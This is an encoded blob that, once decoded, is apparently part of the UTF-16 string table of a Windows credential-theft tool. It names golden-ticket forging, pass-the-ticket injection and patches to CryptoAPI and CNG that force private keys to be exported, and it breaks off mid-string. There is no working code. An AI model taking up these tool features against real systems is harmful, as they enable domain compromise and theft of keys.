YQBlAHMAMgA1ADYAAAAAAHMAZQByAHYAaQBjAGUAAAB0AGEAcgBnAGUAdAAAAAAAaQBkAAAAAAByAG8AZABjAAAAAAAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAADAAAABzAHQAYQByAHQAbwBmAGYAcwBlAHQAAAA1ADIANQA2ADAAMAAwAAAAZQBuAGQAaQBuAAAAAAAAAHIAZQBuAGUAdwBtAGEAeAAAAAAAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAKAFMASQBEACAAIAAgACAAIAAgACAAOgAgACUAcwAKAFUAcwBlAHIAIABJAGQAIAAgACAAOgAgACUAdQAKAAAAAAAAAAAARwByAG8AdQBwAHMAIABJAGQAIAA6ACAAKgAAAAAAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAAAAAACgBTAGUAcgB2AGkAYwBlAEsAZQB5ADoAIAAAAAAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAAAAAALQA+ACAAVABpAGMAawBlAHQAIAA6ACAAJQBzAAoACgAAAAAAAAAAAAoARwBvAGwAZABlAG4AIAB0AGkAYwBrAGUAdAAgAGYAbwByACAAJwAlAHMAIABAACAAJQBzACcAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHMAdQBiAG0AaQB0AHQAZQBkACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAKAAAAAAAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAUwBJAEQAIABzAGUAZQBtAHMAIABpAG4AdgBhAGwAaQBkACAALQAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAPAAzACAAZQBvAC4AbwBlACAAfgAgAEEATgBTAFMASQAgAEUAPgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAAAgACoAIABQAEEAQwAgAHMAaQBnAG4AZQBkAAoAAAAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGUAbgBjAHIAeQBwAHQAZQBkAAoAAAAgACoAIABLAHIAYgBDAHIAZQBkACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAACQAqACAAJQBzACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAAAAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAAAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAAAAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAAoACQAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0A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IAA6AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATQB5AAAAAAAAAAAAcwB0AG8AcgBlAAAAAAAAAAAAAAAAAAAAIAAqACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAgADoAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoACgAAAAAAKABuAHUAbABsACkAAAAAAAAAAAAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKABmAG8AcgAgAGwAZQBuACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFMAbwBmAHQAdwBhAHIAZQAgAEsAZQB5ACAAUwB0AG8AcgBhAGcAZQAgAFAAcgBvAHYAaQBkAGUAcgAAAGMAbgBnAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAawBlAHkAcwAgADoACgAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAAAAAAIAAgACAAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAAAAAAFUAbgBpAHEAdQBlACAATgBhAG0AZQAAACAAIAAgACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAUgBTAEEAUABSAEkAVgBBAFQARQBCAEwATwBCAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBvACAAQwBOAEcAIQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfA